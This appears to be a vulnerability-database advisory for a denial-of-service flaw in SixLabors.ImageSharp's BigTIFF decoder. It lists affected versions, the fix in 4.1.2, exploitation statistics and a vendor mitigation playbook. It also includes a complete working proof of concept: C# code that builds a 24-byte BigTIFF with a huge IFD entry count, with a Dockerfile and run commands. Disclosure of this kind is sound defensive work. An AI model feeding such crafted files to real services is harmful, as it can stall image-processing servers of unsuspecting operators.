CVE-2026-106116 is a medium-severity (CVSS 5.3) CWE-835 vulnerability in SixLabors.ImageSharp. A fix is available for SixLabors.ImageSharp — see the affected versions and patch details below.
ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-106116.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-106116 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
SixLabors.ImageSharpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.
Description
Summary
SixLabors.ImageSharp 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.
One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected range:
>= 2.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
BigTIFF decoding and the unbounded ReadValues64 loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.
Details
ReadValues64 trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, ReadValue64 returns without advancing the stream or ending the outer loop.
Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
Reproduction
The public Image.Load(Stream) call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count 5000000000. There are no bytes
for an entry. Run the supplied container under a five-second timeout.
Complete observed output:
bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124
timeout exit code 124 means the decoder had not returned after five seconds.
The control is identical except the entry count is 1:
bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0
The control rejects malformed input promptly; it does not time out.
No active exploitation is known.
Complete PoC files
Program.cs:
using SixLabors.ImageSharp;
static class Program
{
// Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
// The count field is controlled by the input.
private static byte[] BuildBigTiff(ulong entryCount)
{
byte[] bytes = new byte[24];
bytes[0] = 0x49; bytes[1] = 0x49; // II
bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic
bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets
BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
return bytes;
}
private static void Main(string[] args)
{
ulong entryCount = ulong.Parse(args[0]);
byte[] bytes = BuildBigTiff(entryCount);
Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
try
{
using var stream = new MemoryStream(bytes);
using Image image = Image.Load(stream);
Console.Error.WriteLine("completed");
}
catch (Exception ex)
{
Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
}
}
}
Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build wmxv.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"]
Run:
docker build -t imagesharp-wmxv-poc .
timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000
docker run --rm imagesharp-wmxv-poc 1
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| .NETNuGet | SixLabors.ImageSharp | ≥ 2.0.0&&< 4.1.2 | 4.1.2dotnet add package SixLabors.ImageSharp --version 4.1.2 |
Affected Products
imagesharpsixlaborsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for SixLabors.ImageSharp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update SixLabors.ImageSharp to 4.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-106116 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-106116 in your dependencies?
Find it across NuGet, including transitive dependencies.